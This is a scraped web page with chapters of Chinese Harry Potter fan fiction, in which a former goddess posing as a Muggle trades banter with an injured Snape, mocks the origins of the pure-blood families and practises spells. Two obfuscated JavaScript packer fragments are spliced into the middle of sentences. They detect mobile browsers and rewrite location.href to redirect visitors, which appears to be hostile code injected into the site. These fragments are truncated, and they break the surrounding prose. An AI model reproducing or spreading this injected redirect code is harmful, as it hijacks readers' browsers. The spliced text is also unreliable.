“至于贞操。我得说,如果你继续以这种令人发指的方式试探它的底线,那么这项所谓‘重要资产’的保质期,恐怕会比你我预期的都要短得多。届时,我希望你能准备好一份详尽的道歉信,解释你是如何用一系列毫无廉耻的偷窥和暗示,把一个本可以安安分分养伤的病患逼到精神崩溃边缘的。” 他一口气说完,语气优雅华丽得像在朗诵十四行诗,但每一个字都精准地刺向她那看似刀枪不入的脸皮。 阿斯特丽德听完那通劈头盖脸砸下来的华丽讽刺,像是被什么极舒适的东西从头到脚抚摸了一遍——那张脸上非但没有半分被刺痛的痕迹,反而漾开一层餍足的、近乎享受的光芒。她完全是一副“我就喜欢看你这样”的满足表情。 “真的不考虑?”她举起双手,十指在半空中虚虚地做出一个抓握的动作——既像在示范“洗头”,又透着某种她自己大概都没意识到的、微妙得难以言喻的暗示——依旧笑眯眯地望着他,“我手艺很好的,洗头按摩一条龙服务,保证让你舒服得忘记自己还在养伤。麻瓜专业护工级待遇,童叟无欺,不收小费。” 斯内普盯着那两只在半空中虚虚抓握的手,表情微妙。他的眼神似乎有一瞬飘忽,随即立刻回过神,移开目光,垂眸盯着手里的笔记本,语气干巴巴地挤出几句话:“我对你的‘手艺’没有任何兴趣。建议你把这些精力用在研究如何让自己的言行更符合一个体面人的标准上——如果你还知道‘体面’两个字怎么写的话。” 阿斯特丽德闻言,脸上原本灿烂的笑意缓缓收敛起来,取而代之的是一种极为遗憾、极为惋惜的神情——那表情做作得恰到好处,既像是在看一个不懂得珍惜机会的可怜人,又像是在哀悼某种本可以发生但终究没能发生的伟大事业。 “唉——”她拖长了调子,长长地叹了口气,“西弗勒斯,你这样说,我的心真的好痛。我一片赤诚,掏心掏肺地想为你服务,你却这样对我。”她捂着胸口,脸上满是戏谑的哀怨,“你知道一个被拒绝的护工有多难过吗?你知道一份真挚的关怀被这样无情地推开,会造成多大的心理创伤吗?” 斯内普冷笑一声,笑声短促而刻薄,像一把锋利的刀片划过玻璃。 “心理创伤?”他慢悠悠地重复了一遍这个词,“杜兰特小姐,如果每一次被你用这种拙劣的借口接近都会造成心理创伤,我现在应该已经被送进圣芒戈的精神科病房,和那些坚信自己是胡萝卜转世投胎的病人做室友了。” 他垂下眼皮,目光落回那本笔记上,像是刚才那番话只是随手打发一只聒噪的猫头鹰。 “省省你的赤诚吧。我还能活。” 阿斯特丽德那番做作的哀怨终于褪去,她满意地点点头,就像在验收某种预料之中的成果——她太了解他了,他要是能被三两句话就说动,那就不是西弗勒斯·斯内普了。 “看来你精神还不错,请继续保持。”她语气轻快,眼神温软得像是被阳光浸泡过,“洗头的事,等你需要的时候再叫我——我随时恭候,西弗勒斯。” 她转身离开,走到门口时还回过头来,冲他挥了挥手。 门在她身后轻轻关上。 良久之后,斯内普手中那本笔记,才被缓缓翻动了一页。 27. 纯血发家史 24. 离开医疗翼后,阿斯特丽德沿着走廊往斯莱特林地窖的方向走去,脑子里还在回味刚才那场交锋,她觉得自己发挥得不错。转过某个正在变幻方向的阶梯时,她脚步忽然一顿,眉头微微蹙起——他刚才是不是提了一个什么词?“摔炮”? 那是什么意思? 怀抱着这个小小的疑问,她继续往地窖方向走去,决定先把这个问题搁置,等见到血人巴罗再说。她今天是去找那位斯莱特林幽灵的,需要问他一些关于萨拉查后人的事情——尤其是那些脑子不大好、可能向自家祖产开炮的那种。 半小时后,阿斯特丽德坐在一间空荡荡的教室里,午后阳光透过高窗斜斜地照进来,在那些老旧的书桌上投下斑驳的光影。血人巴罗则飘浮在讲台上方,银白色的半透明身影在阳光里显得愈发虚幻,胸口的镣铐泛着幽幽的冷光。 “据我所知,目前还留在英国境内的斯莱特林后代,就那么一个了。”巴罗平板的声音从讲台上方飘来,“但是他很热爱霍格沃茨——从他进入这座城堡起就如此,非常热爱。” 阿斯特丽德从口袋里掏出一卷羊皮纸和一支羽毛笔,活像是在做户籍登记的官员:“他叫什么?多大了?有什么爱好及特长?是优秀毕业生吗?现在从事什么工作?”她一口气抛出四五个问题,然后抬起头,那双烟紫色的眼睛里满是认真,“哦,最重要的是,他有没有什么精神类疾病,或是陷入了什么棘手的财产纠纷?” 血人巴罗沉默了一下,那双空洞的眼睛甚至眨了眨,然后才开始一板一眼地回答:“他叫汤姆·马沃罗·里德尔。入学时大约十一岁,如果还活着,现在应该七十多岁。在校期间是级长、男生学生会主席,获得过对学校特殊贡献奖,几乎所有教授都认为他是霍格沃茨有史以来最优秀的学生之一。”他停了一会儿,那双空洞的眼睛望向窗外,像是在回忆什么,“爱好和特长——黑魔法。他对黑魔法的痴迷和天赋无人能及,同时也擅长魔咒、魔药,几乎所有学科都出类拔萃。非常英俊,非常有魅力,非常懂得如何讨人喜欢。他说起话来……”巴罗的声音里难得出现了些复杂的情绪,“见人说人话,见鬼说鬼话。” 阿斯特丽德的眉毛微微挑起。 “他有很多追随者,主要来自斯莱特林——大部分纯血家族的子弟都把他当领袖。他把霍格沃茨当家,把斯莱特林当自己的领地,毕业后……”巴罗停顿了一下,“毕业后他组建了一个组织,叫食死徒。和邓布利多那批人越来越不对付,据说现在已经成了英国巫师界最令人恐惧的存在。” “食死徒?”阿斯特丽德重复了一遍这个词,表情有些微妙。 “是。”巴罗的声音里透着一丝厌恶,“他学生时代就骗取了格雷女士的信任——我的……海莲娜——他从她那里套取了拉文克劳冠冕的秘密。他用花言巧语哄骗她,利用她的孤独和脆弱,最后从她口中得知了冠冕的下落。”那双凹陷的眼睛里闪过幽幽冷光,“我不齿这种行为,非常不齿。” 阿斯特丽德听着听着,眉毛越挑越高。优秀学生主席?人格魅力无限?非常英俊?天赋异禀?还自己创业成为了英国巫师界令人闻风丧胆的恐怖组织头目? 这怎么听都不是一个中二青——呃,叛逆老头啊。 而且他身世孤苦——巴罗刚才提了一嘴他在孤儿院长大——又把霍格沃茨当成重新启航的地方,应该不至于向城堡开炮吧。 不过听着听着,她听出点别的滋味来:混血——母亲出身巫师贵族,为爱舍弃一切,麻瓜父亲很混蛋恶劣,天赋超绝,热爱黑魔法和力量,对变强这件事狂热到极点,擅长魔药魔咒等等,见人说人话见鬼说鬼话,和纯血家族走得近,黑头发,黑眼睛…… 除了“人缘极好”和“非常英俊”这两项跟某人完全不搭边,其他的简直幻视斯内普。 她的思维有些飘远,又不由自主地飘向医疗翼里那个偷窥到的画面——舒展的肩线,苍白的皮肤,若有若无的肌肉轮廓。 “他……给自己的组织起这么个名字,死神答应吗?”她悠悠问了一句,随即想到巴罗说这个斯莱特林家的小崽子还懂设计,会自己画logo,便又问:“那食死徒的标记是怎样的?” 血人巴罗回忆了一下——他虽然没有亲眼见过,但这些年斯莱特林公共休息室里的窃窃私语和压低声音的讨论,他听了太多太多。 “是一个骷髅头。骷髅头的嘴里探出一条蛇,蜿蜒而出,缠绕着整个头骨。据说是用绿宝石般的火焰构成的——当他们召唤时,那标记会出现在天空。” “每一个食死徒的手臂上,都有那个标记的烙印。”他说,“用黑魔法的火焰烙上去,永远无法消除。据说通过那个标记,他——黑魔王——可以召唤他们,感知他们,甚至可以……”他的声音低了下去,“惩罚他们。那烙印会灼烧,会疼痛,让他们生不如死。” 阿斯特丽德的瞳孔微微收缩。 烙印。召唤。灼烧。 她忽然想到当初在那片虚空与漫长的黑暗中感知到的斯内普——他匆匆在禁林边缘幻影移形时遭受的那些灼烧感,他那原本属于他自己的魔法气息被什么暗黑的力量强行镌刻进去的痕迹。 ……斯内普恐怕也加入食死徒了。还是一个业务很忙的食死徒。 可她更困惑了。既然斯内普都是食死徒了,还取代邓布利多做了校长——在那段记忆里她分明感知到他与霍格沃茨的绑定——那就说明伏地魔已经掌控了这座城堡,那他还有什么理由要向霍格沃茨开炮呢? 而且以她当初赶到尖叫棚屋外面所见的来分析,斯内普是被某种暗黑的蛇类咬死的。霍格沃茨当然没这玩意——她当初在意识苏醒过程中感知了这片区域整整两年,并没有感知到那种蛇类的存在痕迹。只能说明那是伏地魔带来的,就跟他引入的那些狼人和巨怪一样。 那他干掉自己的属下是为什么? 斯内普叛变了?打算脱离组织单干了? 真是……好烧脑哦。 阿斯特丽德转而想到另一个问题——既然巴罗都知道那个汤姆·里德尔的本名,没道理教授们和他的同窗们不知道。那么,那些纯血家族的子弟们追随他,究竟是为什么呢?当真相信他口中那套纯血理论吗? 这显然是说不通的。 斯内普一个还没走出校园的学生都能看透那套说辞的虚妄,没道理那些与伏地魔同代的纯血家主们反而看不明白。他们选择追随汤姆,必然另有缘由——说到底,不过是世家之间利益联结的又一次演绎罢了。 千百年来,门阀家族的生存法则从未改变:几个根深蒂固的世家为了捍卫共同的阶层利益,聚集在一个旗帜之下。那旗帜下站着的,恰好是一个落魄贵族后裔——身世可疑,血统存疑,但偏偏生就一副枭雄的胆魄与手腕,又极懂得如何给人描绘前景。于是门阀们便顺水推舟,先是扶持,后是合作,用几代人的积累喂养出一个“新王”。新王许给他们更大的利益,他们便跟着他一路走下去,直到—— 革命。 或者说,改朝换代。 归根结底,不过是千年不变的戏码换了新装——门阀、利益、新王、旧族,这套齿轮咬合的方式她在麻瓜的历史书里见过太多次,翻来覆去,连锈迹的位置都如出一辙。 唯独那个主角,倒是新鲜的。 一个混血的孤儿,靠着天赋与手腕,硬生生让那些血统至上的家族俯首称臣。这剧本放在麻瓜世界,也称得上传奇——可惜底色还是旧的,陈旧得像未经打扫的蜘蛛尾巷地窖。 她忽然想起斯内普那句话来。 “只是因为这里有魔法。” 是的,魔法。那些会动的画像,飘浮的幽灵,还有那些变幻莫测的楼梯——这些瑰丽的奇迹,像一层又一层华美的帷幔,将腐朽的制度、扭曲的血统论、赤裸裸的利益交换,统统遮盖得严严实实。 魔法掩盖了一切糟粕,使这巫师世界比麻瓜社会更加顽固,更加自洽,也更加……无可救药地陈旧。 畅享推理了一番后,阿斯特丽德想起个事来。她托着腮,眼里闪烁着好奇,望着依旧在讲台上飘浮着的巴罗:“我听说有个什么‘神圣纯血名单’?你都清楚是哪些吗?” 当晚,医疗翼最里面的那间病房里,烛光在玻璃罩里跳动着暖黄色的光芒。阿斯特丽德和斯内普刚用完晚餐——今天是鸡肉派配烤蔬菜,甜点是蜂蜜公爵新出的巧克力脆——她收拾完餐具后,自顾自从口袋里掏出一卷较长的羊皮纸,在膝盖上缓缓展开。 羊皮纸上密密麻麻罗列着三十来个纯血家族的姓氏,每一个姓氏后面要么打着一个醒目的红叉,要么跟着一行很小的、密密麻麻的批注。那些批注的字迹细密工整,一看就是花了不少功夫整理出来的。 斯内普正拿着那支深蓝色的羽毛笔在写魔药课的论文,听到她展开羊皮纸的窸窣声,下意识投过去一眼。 他看到了埃弗里家族后面的批注:“祖上是卖鞋垫的麻瓜”。 他的目光停滞一瞬,然后继续向下移动。 卡罗家族后面的批注是:“祖上最后一代麻瓜无嗣,故抱养无父母的双胞胎小巫师两名,以此传宗接代”。 他面色古怪起来,混合着“这是什么鬼东西”的困惑和“我是不是看错了”的质疑,手里的羽毛笔彻底停了下来。他的目光继续向下,落在亚克斯利家族后面的批注上:“祖上是神殿守卫之一,因翘班且偷吃贡品,故被贬斥,后盗取神殿之物远逃”。 他终于忍不住开口了:“这是什么?” 阿斯特丽德正埋头给莱斯特兰奇家族写批注——那批注有点长,需要两行才能写完——听到他的问题,她抬起头,眼里浮现一抹促狭之意:“纯血家族名单,以及——黑料发家史。” 没等斯内普继续询问,她就主动指着那些名单上的姓氏开始一一讲解起来,像是一个博物馆的讲解员在给游客介绍展品。 “打叉的那些,”她的手指点在一个个名字上,“是在十一世纪之后才陆续出现的家族,算不上资历深厚,血统也说不上多纯正。”她没有详细说明那些家族其实是在她陨落后才出现的——她还不想告诉他自己是萨姹的事,这件事太复杂了,说出来只会引来更多她暂时无法回答的问题——于是选了个折中的说法,“至于那些批注,一部分是巴罗告诉我的,一部分是我自己翻古籍查到的。” 她把这一切都推到巴罗和书籍身上,但其实心里清楚得很:这些家族,她陨落前或多或少都见过或听过,深知那些所谓“纯血”究竟是怎么来的。 她没有多说,只是用下巴示意那张羊皮纸,展现出一副邀约的姿态:“想听故事吗?你随便选,我给你讲。” 斯内普的确被勾起来些许好奇。他的目光在一个个姓氏上逡巡,最后抬起头,落在她脸上:“据我所知,纯血家族的谱系是魔法部登记在册的,每一个家族对自己的历史都讳莫如深。你这些——‘卖鞋垫’、‘偷贡品’——是从哪个古灵阁的保险库里挖出来的?” “而且,我很好奇——你什么时候开始对纯血家族感兴趣了?”他的语气更慢了几分,“难道是准备挑个‘纯’一点的抱大腿?恭喜你,终于也被那套理论洗脑成功了。” “哦,别这样,西弗勒斯。”阿斯特丽德拖长了调子,语气像是在哄一个闹别扭的小朋友,“这些黑料和秘辛如假包换,我拿我珍藏的那支会速记的羽毛笔发誓。”她的语气认真了些,“我这是为了对巫师界的社会学做研究,才弄来了这个名单。你不觉得很有意思吗?所谓‘纯血’,扒开历史一看,原来也就那么回事。” 斯内普盯着她看了几秒才开口,语气依然是那种慢悠悠的调子:“马尔福。”他说出一个姓氏,“还有布莱克。” 他的目光落在那两个名字上:“既然你对社会学研究这么有热情,那就说说这两个吧。” 阿斯特丽德眼睛一亮,就像终于等到识货的顾客。她清了清嗓子,指着马尔福家族的名字开始讲解起来:“他们家往上倒腾到十一世纪,祖上那位阿曼德·马尔福,跟征服者威廉一起打过仗——当然,是以巫师的身份提供了一些不方便细说的‘技术支持’,换来了威尔特郡的大片封地。从根儿上说,确实是巫师,不是什么麻瓜暴发户改行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334597|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她又伸出一根手指晃了晃:“但问题就在于,他们太会两头下注了。一边在魔法界跟斯莱特林们称兄道弟,宣扬纯血荣耀;另一边呢,几百年如一日地往麻瓜上流社会里钻——十六世纪有个叫卢修斯一世的,直接跑去追伊丽莎白女王,不过没追成;再到后来,麻瓜的货币、资产,他们掺和得比谁都积极。”阿斯特丽德摊了摊手,总结道,“所以你说它不纯吧,他们家确实祖上是巫师,联姻也都在纯血圈子里;可你说它纯吧,这发家史里每一页都写着‘麻瓜’两个字,靠着从麻瓜那儿搂的钱,转过头来骂麻瓜低贱。” 她最后下了个结论:“马尔福,与其说纯血,不如说‘纯利’。哪边有好处,哪边就有他们。” 斯内普听完先是有些意外,随即又像是某种隐忍已久的讽刺终于找到了落脚点。他面色复杂地沉默了一会儿,然后缓缓勾起嘴角,弧度里带着几分意味深长:“纯利家族的头衔的确更为准确。不过卢修斯要是听到这个评价,大概会先用他那条蛇头杖敲碎几件祖传古董,然后若无其事地出席下一场纯血晚宴,继续宣扬那套血统论。” 阿斯特丽德笑着将手指继续移向布莱克家族的名字:“至于布莱克家嘛,”她拖长了调子,“成分就复杂多了。”斯内普露出一副“愿闻其详”的表情。 阿斯特丽德凑近了一点,压低声音:“他家祖上,和女妖通过婚。” 斯内普的眉毛挑得更高了。 “而且不止于此,”阿斯特丽德继续说,“他们还和人鱼通过婚。北边那一支,据说有苏格兰那种长尾巴人鱼的血统——就是脾气暴躁、牙齿锋利、能一口咬断船桨的那种。” 她耸耸肩,总结道:“所以呢,如果女妖和人鱼也算血统纯正的话,那他家是挺纯的。毕竟都不是麻瓜,对吧?” 斯内普盯着她,像是在怀疑她编故事骗他。但努力紧绷的嘴角分明昭示着快要憋不住的笑意。 “我得说,布莱克家引以为傲的‘纯血荣耀’,如果知道源头是这些,恐怕他们会从那幅家谱上集体跳下来,排队跳进黑湖冷静一下。” “哦,那可真是认祖归宗的好机会。”阿斯特丽德眉眼弯弯,语气里带着几分促狭,“我听说黑湖里住着人鱼——他们跳下去,说不定还能赶上祖宗正在举办的家族茶话会。” 斯内普顺畅地接话:“那场面一定很温馨。布莱克家的纯血祖宗们举着三叉戟,欢迎后代加入水下大家庭,顺便问问他们有没有给自己带点岸上的土特产——比如‘纯血荣耀’的证书,好证明自己确实有资格住在湖底。” 伴随着话音落下,他的目光重新落回那张羊皮纸上,饶有兴味地问:“还有吗?” 阿斯特丽德便将发家史足够“有趣”的几个家族一一讲给他听,一口气讲了十来个,直讲到口干舌燥,才收起那张密密麻麻的羊皮纸,重新卷好塞进口袋里。 斯内普的目光在她身上慢悠悠地打了个转,最后落在她脸上,懒洋洋地开口:“那么据此,我是否有理由合理推测,我们的杜兰特一世女士即将效仿那些纯血家族的光辉事迹,开启属于你自己的家族荣耀之旅?毕竟——你已经拥有了比费尔奇略胜一筹的魔法资质。” 阿斯特丽德收羊皮纸的手微微一顿,随即抬起头来,笑意从眼底一路漾到嘴角:“这就是你叫我‘摔炮’的原因?你早就发现我那少得可怜的魔力了?” 斯内普没有否认,只是用“你以为你能瞒得过谁”的眼神看了她一眼,然后依旧慢悠悠地开口:“我确实发现了一些……有趣的波动。昨晚你在禁林里停留了将近四个小时,而那之前你身上没有丝毫魔法痕迹。”他紧紧盯着她,“你不会真的指望我相信,你只是跟一只鹰头马身有翼兽共享了一顿足够美好的月光晚餐吧?毕竟——”他的嘴角那讽刺的弧度又深了几分,“据我所知,它们从来不吃什么菌菇。它们是食肉动物。” 阿斯特丽德一直带着笑,没有半分被戳穿的窘迫,反而透着一种“你果然注意到了”的坦然。她等他说完了,才语气轻快地开口:“我不否认自己在禁林里拥有了一段类似爱丽丝梦游仙境一般的奇幻之旅。但是,那将是杜兰特家族的绝密发家史——如你所言,将来要锁进古灵阁地库中的那种。等哪天我发达了,说不定会允许你作为特邀嘉宾,进去瞻仰一下。” 她说完,单手支在桌面上托腮望着他,依旧笑吟吟的,姿态慵懒从容,像在欣赏有趣的风景。然后她歪了歪头,笑容里多了几分意味深长:“不过话说回来,你刚才是在暗示我什么吗?西弗勒斯。”她拖长了调子,每一个字都像是沾了蜜的糖,“杜兰特一世确信自己需要一个男巫,才能延续血脉,诞生出二世、三世,将家族发扬光大。你有什么好的人选推荐吗?” 斯内普的眉头微微蹙起,视线迎上她的目光,定定地落在她脸上。他的嘴角缓缓勾起一抹危险的、近乎幽暗的弧度:“你是在暗示我——自荐枕席?” 阿斯特丽德的眼睛微微睁大了一些,闪过亮光:“可以吗?” 他收回前倾的身子,靠回床头,“我得提醒你——一个连荧光闪烁都未必能稳定施放的‘摔炮’,在考虑与某个男巫‘延续血脉’之前,或许应该先解决一些更迫在眉睫的问题。” 他的目光在她身上又扫了一圈,嫌弃地说:“比如,如何确保自己在施咒时不把自己炸进医院。再比如——”他伸手从床头柜上拿起一张羊皮纸,随手在上面写了几行字,然后递给她,“如何在面对一个真正的巫师时,不会因为魔力不足而被对方用最简单的缴械咒放倒。” 阿斯特丽德接过那张羊皮纸,低头一看,上面罗列着七八本书名,都是入门级的魔法原理和实用咒语,有《初学魔法原理》《实用魔咒入门》《魔力基础与进阶》之类的,甚至还有一本《自我保护咒语一百例》。 “把这些看完,”斯内普的声音从旁边飘来,带着他惯有的那种懒洋洋的讽刺,“等你能用出一个像样的盔甲护身,再讨论‘延续血脉’这种高级话题。毕竟,谁都不想被一个连缴械咒都挡不住的‘开山鼻祖’连累,成为霍格沃茨历史上第一个因为伴侣太菜而被载入史册的倒霉蛋。” 28. 你比费尔奇强 25. 不得不说,阿斯特丽德对自己的“摔炮”身份适应得相当良好,良好到仅仅用了一个晚上,就已经为自己将来可能拥有的魔杖想好了全套设计方案——材质最好是金合欢木的,杖柄要雕刻蛇类鳞片,每一片鳞片上还得有精细的羽毛纹路,顶端镶嵌的宝石当然要选烟紫色的,这才配得上她作为“开山鼻祖”的格调。她甚至还在羊皮纸上画了三个不同版本的草图,标注了各种细节要求,仿佛明天就要冲进奥利凡德下单定制。 而当第二天来临之后,格兰芬多公共休息室里的学生们率先发现了这位麻瓜小姐的口头禅终于开始融入巫师世界——以一种相当独特的方式。 “哦,梅林的尿片子!”阿斯特丽德仰头望着天花板,手里挥舞着那本《实用魔咒入门》,嘴里嘀嘀咕咕,“那个咒语怎么念的来着?鬼知道这个词组现在居然演变成了这个意思,在我们那个年代……” 后面的话没人听清,因为她已经低头翻书去了,翻书的动作快得像是在跟谁赌气。 弗兰克·隆巴顿——一个长着圆脸的憨厚男生——正坐在旁边写他的变形课论文,听到那声惊呼后笔尖停顿在羊皮纸上方。等阿斯特丽德终于研究完了那个入门级的绊腿咒,他才忍不住小声提醒:“杜兰特小姐,我们一般不说……尿布这个词。那对梅林太不尊重了,也不太体面。” 阿斯特丽德将头从书本上抬起来,一脸莫名地望着他:“不体面吗?我昨天还听小矮星说‘梅林的三角内裤’呢。” 她遥想当年,梅林刚出生后不久,她还专程去梦淫妖那儿抱过他——那小家伙皱巴巴的,哭声响亮得能把整个林子里的鸟都惊飞——怎么就不能说说他的尿片子了? 弗兰克一噎,脸上的表情极其复杂,最后只能露出一个“你开心就好”的无奈笑容,继续低头写他的论文去了。 过了一会儿,休息室里又响起一声惊呼。 “哦,梅林的口水兜啊!”阿斯特丽德盯着书上的某个咒语,眉头紧皱,“这是哪个地方流传过来的咒语?为什么要那样发音?” 艾丽斯——一个有着棕色卷发的热情姑娘——热心地凑过来瞄了一眼,给她指点了那个咒语的正确发音方式,末了好心提醒道:“杜兰特小姐,以你现在的状况,恐怕需要一根魔杖才能帮助你更好地发挥魔力。没有魔杖的话,咒语的效果会大打折扣的。” 阿斯特丽德赞同地点了点头,心里却郁闷得很。当初她所向披靡,一杖下去能让整个战场鸦雀无声,多么英武无敌。现在居然连巫师们发明的那些小咒语都用不出来,真是一落千丈,虎落平阳。 毕竟巫师这一群体的诞生,本就源于众神陨落之后散逸于世间的残余力量。那些力量如同被风吹散的种子,落在不同的土壤里,生根发芽,最终长成了参差百态的巫师血脉。除了萨拉查·斯莱特林曾从她这里直接承袭过蛇佬腔的能力,算得上是某种意义上的“嫡传”,其余巫师的魔力运用,几乎都是凭借自身的领悟与天赋,在黑暗中摸索、试探、总结出来的。那些如今被奉为圭臬的咒语,林林总总,形形色色,无不是一代代巫师在漫长的实践中琢磨出来的产物,有的经过千锤百炼得以传承,有的则在时间的淘洗中被淘汰殆尽——如同一部用血肉与智慧写成的魔法进化史。而她的力量本质与这些后来者截然不同,如同古琴与钢琴的共鸣箱里流淌着不同质地的音色。让她去使用那些咒语,就像让一个惯用右手的人被迫用左手书写,每一个笔画都透着别扭,每一个动作都透着生涩。 她盯着面前那支普通的羽毛笔,试着用目光命令它自己画个圈。那支羽毛笔颤巍巍地立起来,哆哆嗦嗦地在半空中画了半个弧线,然后啪叽一下倒在桌上,一动不动了,像是跑完了人生最后一公里路的老马。 艾丽斯和弗兰克贴心地假装没有看到这艰难又尴尬的一幕,不约而同地把目光默默移向别处,脸上的表情却出卖了他们憋得很辛苦的内心。 晚上的医疗翼里,烛光将整个病房映得暖融。阿斯特丽德坐在斯内普床边那张椅子上,面前的床头柜上摆着晚餐的残骸——主要是那个被她用叉子戳得汁水横流的浆果馅饼,惨不忍睹。 斯内普靠在床头,目光在她脸上扫了一圈,又落在那片狼藉的馅饼上,不轻不重地啧了一声,“如果你继续折磨那个可怜的馅饼,它也不会告诉你提升魔力的秘诀。它只会用那些流出来的果酱提醒你,你的耐心和你的魔力水平一样,都还有很大的提升空间。” 阿斯特丽德抬起头,幽怨地看了他一眼。 斯内普对她的眼神视若无睹,继续平平淡淡地往下说:“此外,我不得不提醒你一个显而易见的事实——从来没有任何一个巫师是从摇篮里就开始所向披靡的,更没有人是从娘胎里出来就会施索命咒的。即便是邓布利多,亦或是黑魔王,也都是从某个连漂浮咒都甩不利索的年纪一步步累积过来的——他们花了足够多的时间看书、试错,才取得了如今的成就。否则霍格沃茨还有什么存在的必要?巫师们大可以在摇篮里就测好魔力值——魔力高的直接加冕梅林勋章,魔力低的趁早改行研究坩埚的结痂厚度。至于省下的学费,足够人买一座糖果山,每天从山顶滚到山脚,再从山脚爬回山顶,循环往复,了此余生。” 阿斯特丽德从未听他一次性往外倒过这么多话,那嘴唇开开合合,如同中了某种永不停歇的咒语,硬是把一整套人生哲理塞进她耳朵里。她听得很认真,但还是有一瞬间走神研究起他说话时嘴唇翕动的弧度,直到这波话语的洪流终于收住,她才歪着头,把他的话在脑子里过了一遍。 不得不说,虽然他平时言语刻薄毒辣,但偶尔好好讲一次道理,还是很难让人反驳的。 于是她三下五除二解决了那个被戳得面目全非的馅饼,然后从包里翻出那本《自我保护咒语一百例》,开始认真地研究起来。 病房里渐渐安静下来。 暖黄的烛光在玻璃罩里轻轻摇曳,将两个人的影子投在墙壁上,时而交叠,时而分开。斯内普低头写着他的黑魔法防御术课作业。那支深蓝色的羽毛笔在羊皮纸上沙沙作响,偶尔斯内普停下来思考时,那支笔就会嘚瑟地摇晃着羽毛尖,像是在炫耀自己刚完成的杰作。阿斯特丽德则窝在椅子里,专注地读着那本咒语书,嘴唇无声地动着,默念那些拗口的发音。 空气里只有翻页和羽毛笔划过羊皮纸的细微声响,静谧得近乎奢侈。 不知过了多久,斯内普终于写完了最后一行字,放下羽毛笔,目光落在阿斯特丽德身上。她还沉浸在书里,眉头微微蹙着,嘴里念念有词,一只手在半空中比划着不太标准的手势。 他看了一会儿,终于开口:“手腕的角度不对。”声音在静谧中响起,带着淡淡的嫌弃,“你那样挥,魔力还没出去就已经散了。还有那个发音——重音在第三个音节,不是在第一个。” 阿斯特丽德抬起头,正好对上他那双黑沉沉的眼睛。 他将自己的魔杖递给她:“用这个试试。光靠比划,你比划到明年也不会有什么进展。” 阿斯特丽德的眉毛当即挑得老高,目光从魔杖慢慢扫到他脸上,那视线里带着一种意味深长的东西。 “我仍记得,那是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334598|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮湿闷热的夜晚,廉价红酒与兰开夏火锅的气息在蜘蛛尾巷二十三号的空气中缠绵交织。”她语气平平的开口,但话语的内容却像是在朗诵一部精心雕琢的小说,“有一位巫师先生,被一个喝醉了酒的麻瓜追得满屋乱窜,只因为那个不知天高地厚的家伙看上了他手里那根可爱的的小木棍,执意要把它当成卷发棒,给自己的头发增添几分艺术家气质。那是一个值得载入杜兰特家族史册的夜晚,一个关于觊觎与守护、追逐与逃亡的夜晚,一个——” “看来那个不知天高地厚的家伙并不需要我的好心帮助。”斯内普面无表情地打断她,作势要把魔杖收回去。 阿斯特丽德眼疾手快地一把抢过那根魔杖,笑嘻嘻的:“需要需要,非常需要。”她说着,按照刚才研究了半天的样子,握紧魔杖,对着桌上那支可怜的羽毛笔挥动起来。 什么都没有发生。 她又试了一次。 还是什么都没有发生。 她集中全部注意力,第三次挥动魔杖。 那支羽毛笔颤巍巍地立起来,在半空中哆哆嗦嗦地画了半个圈——比上午那一次稍微圆润了一点点——然后啪叽一下倒在桌上,像是一个体力不支的老人在跑完最后一步后轰然倒地,再起不能。 阿斯特丽德盯着那支躺平的羽毛笔,沉默了几秒,然后她转向斯内普,开口问道:“你说,它是不是从某个瘸腿的鸟身上拔下来的羽毛?或者是一只行将就木的老鸟?我怀疑它有职业道德问题,不好好配合主人的工作。” 她不服,她得找个理由。 斯内普的目光平静地从那支羽毛笔上收回,语气依旧讽刺,但又十足耐心:“首先,这是一支普通的羽毛笔,它没有职业道德问题,它只是一个无辜的工具。其次,如果一支笔都能被你质疑有‘职业道德问题’,那你可能需要反思一下自己的使用方法是不是出了什么偏差。” 他说完,伸出手。 阿斯特丽德乖乖把魔杖放回他掌心。 斯内普握着那根旧魔杖,慢慢地做了一个分解动作。动作很慢,像是被按了慢放键,每一个角度、每一个停顿都清晰可见。他的嘴唇微动,同时讲解着:“手腕要稳,不要太僵硬。挥动的弧度从这里到这里——”他比划着,“发力是在最后那一瞬间,不是全程用力。发音的时候,重音要落在第三个音节,尾音要干脆,不要拖泥带水。” 他做完示范,把魔杖又递给她:“再试一次。” 阿斯特丽德再次接过魔杖,认真地回忆着他刚才的动作和讲解,然后挥动魔杖,念出咒语。 那支羽毛笔再次颤巍巍地立起来,画了一个比刚才稳当些的圈——弧线更长了一些,也更圆润了一些,虽然还是哆哆嗦嗦的,但至少有了点“圈”的样子。然后,它再次卧倒,像是完成了今天的工作量,心安理得地开始躺平。 阿斯特丽德又试了几次。 每一次都比上一次好一点点,但也只是一点点。进步幅度微小得像是蜗牛爬行,不仔细看根本看不出来。 她盯着那支再次倒下的羽毛笔,又看看自己手里的魔杖,终于有些垂头丧气地开口:“看来我更适合跟费尔奇坐一桌。至少我们都有共同的困扰——魔法它不爱我们。” 斯内普闻言,轻轻哼笑了一声:“费尔奇可没有你这待遇。”他语气慢悠悠的,“他没有一个斯莱特林在旁边给他做分解动作讲解,也没有人帮他纠正每一个细节。他只能抱着他那本《快速念咒大全》,对着墙壁瞎比划。” 他的目光重新落在她脸上。 “你比他强,至少那支笔动了。 29. 转学喽 26. 